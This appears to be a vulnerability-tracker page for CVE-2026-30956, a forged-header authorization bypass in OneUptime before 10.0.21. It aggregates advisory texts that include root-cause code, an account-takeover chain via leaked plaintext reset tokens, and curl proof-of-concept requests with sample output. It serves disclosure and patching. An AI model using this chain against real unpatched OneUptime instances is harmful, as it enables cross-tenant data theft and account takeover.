CVE-2026-30956
OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.
- Record
CVE-2026-30956- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-285, CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-10559
10.0
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.
- Record
EUVD-2026-10559- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r5v6-2599-9g3m
9.9
OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header that leads to cross‑tenant data exposure and account takeover
Summary
A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.
Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.
This allows attackers to:
- Access project data belonging to other tenants
- Read sensitive User fields via nested relations
- Leak plaintext resetPasswordToken
- Reset the victim’s password and fully take over the account
This results in cross‑tenant data exposure and full account takeover.
Details
Root cause
The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.
CommonAPI.ts
if (req.headers["is-multi-tenant-query"]) {
props.isMultiTenantRequest = true;
}
BasePermission.ts
if (!props.isMultiTenantRequest) {
TablePermission.checkTableLevelPermissions(...)
QueryPermission.checkQueryPermission(...)
SelectPermission.checkSelectPermission(...)
}
When the attacker sends:
is-multi-tenant-query: true
the system skips all authorization checks including:
- Table permission validation
- Query permission validation
- Select permission validation
- Tenant isolation enforcement
Additionally, tenant scoping is disabled in TenantPermission
Sensitive user data exposure
Projects marked with:
@MultiTenentQueryAllowed(true)
allow cross-tenant queries when the header is present.
The Project model contains a relation:
createdByUser
Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:
password
resetPasswordToken
webauthnChallenge
Reset token stored in plaintext
In the password reset flow:
Authentication.ts
resetPasswordToken: token
The reset token is stored in plaintext in the database.
During password reset:
/api/identity/reset-password
the server validates the provided token directly.
If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.
Exploitation chain
- Attacker bypasses tenant isolation using is-multi-tenant-query
- Attacker reads victim project
- Attacker selects createdByUser.resetPasswordToken
- Attacker triggers forgot-password for victim
- Attacker retrieves the fresh token via the same query
- Attacker calls /api/identity/reset-password
- Attacker sets a new password
- Attacker logs in as victim
This results in full account takeover.
PoC
Setup:
- Local OneUptime v10.0.20 instance
- Two normal accounts:
- Attacker account owns Project A (
7cb77c45-c2e0-42b5-8a28-57aa0dec6e82) - Victim account owns Project B (
88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email[email protected]
- Attacker account owns Project A (
Chain 1: Direct Project Isolation Bypass
1. Read isolation bypass
curl -X POST http://localhost/api/project/get-list \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{
"query": {},
"select": {
"_id": true,
"name": true,
"createdOwnerEmail": true
}
}'
Result: Returns both the attacker's and victim's projects:
{
"data": [
{
"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
"name": "Victim Project",
"createdOwnerEmail": { "value": "[email protected]" }
},
{
"_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
"name": "Attacker Project",
"createdOwnerEmail": { "value": "[email protected]" }
}
],
"count": 2
}
- Write isolation bypass
Victim project name is initially: Victim Project ORIGINAL
curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
-H "authorization: Bearer…
- Record
GHSA-r5v6-2599-9g3m- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-285, CWE-862
- Updated
- 2026-11-02
NVD
9.9
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.
- Record
CVE-2026-30956- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-285, CWE-862
- Updated
- 2026-11-02
OSV
9.9
OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.
- Record
CVE-2026-30956- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-285, CWE-862
- Updated
- 2026-11-02
OSVGHSA-r5v6-2599-9g3m
9.9
OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header that leads to cross‑tenant data exposure and account takeover
Summary
A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.
Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.
This allows attackers to:
- Access project data belonging to other tenants
- Read sensitive User fields via nested relations
- Leak plaintext resetPasswordToken
- Reset the victim’s password and fully take over the account
This results in cross‑tenant data exposure and full account takeover.
Details
Root cause
The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.
CommonAPI.ts
if (req.headers["is-multi-tenant-query"]) {
props.isMultiTenantRequest = true;
}
BasePermission.ts
if (!props.isMultiTenantRequest) {
TablePermission.checkTableLevelPermissions(...)
QueryPermission.checkQueryPermission(...)
SelectPermission.checkSelectPermission(...)
}
When the attacker sends:
is-multi-tenant-query: true
the system skips all authorization checks including:
- Table permission validation
- Query permission validation
- Select permission validation
- Tenant isolation enforcement
Additionally, tenant scoping is disabled in TenantPermission
Sensitive user data exposure
Projects marked with:
@MultiTenentQueryAllowed(true)
allow cross-tenant queries when the header is present.
The Project model contains a relation:
createdByUser
Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:
password
resetPasswordToken
webauthnChallenge
Reset token stored in plaintext
In the password reset flow:
Authentication.ts
resetPasswordToken: token
The reset token is stored in plaintext in the database.
During password reset:
/api/identity/reset-password
the server validates the provided token directly.
If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.
Exploitation chain
- Attacker bypasses tenant isolation using is-multi-tenant-query
- Attacker reads victim project
- Attacker selects createdByUser.resetPasswordToken
- Attacker triggers forgot-password for victim
- Attacker retrieves the fresh token via the same query
- Attacker calls /api/identity/reset-password
- Attacker sets a new password
- Attacker logs in as victim
This results in full account takeover.
PoC
Setup:
- Local OneUptime v10.0.20 instance
- Two normal accounts:
- Attacker account owns Project A (
7cb77c45-c2e0-42b5-8a28-57aa0dec6e82) - Victim account owns Project B (
88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email[email protected]
- Attacker account owns Project A (
Chain 1: Direct Project Isolation Bypass
1. Read isolation bypass
curl -X POST http://localhost/api/project/get-list \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{
"query": {},
"select": {
"_id": true,
"name": true,
"createdOwnerEmail": true
}
}'
Result: Returns both the attacker's and victim's projects:
{
"data": [
{
"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
"name": "Victim Project",
"createdOwnerEmail": { "value": "[email protected]" }
},
{
"_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
"name": "Attacker Project",
"createdOwnerEmail": { "value": "[email protected]" }
}
],
"count": 2
}
- Write isolation bypass
Victim project name is initially: Victim Project ORIGINAL
curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
-H "authorization: Bearer…
- Record
GHSA-r5v6-2599-9g3m- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-285, CWE-862
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@oneuptime/commonnpm |
before 10.0.21 | 10.0.21 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-30956 is a critical vulnerability (CVSS 10.0) in Hackerbay Oneuptime, published March 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.55%, the 45th percentile. Fixed in @oneuptime/common 10.0.21.
References
github.com/OneUptime/oneuptime/security/advisories/GHSA-r5v6-2599-9g3m
github.com/OneUptime/oneuptime/releases/tag/10.0.21
nvd.nist.gov/vuln/detail/CVE-2026-30956
github.com/advisories/GHSA-r5v6-2599-9g3m
github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30956.json
github.com/OneUptime/oneuptime
Left out here: the rest of 2 source descriptions. The JSON record has them.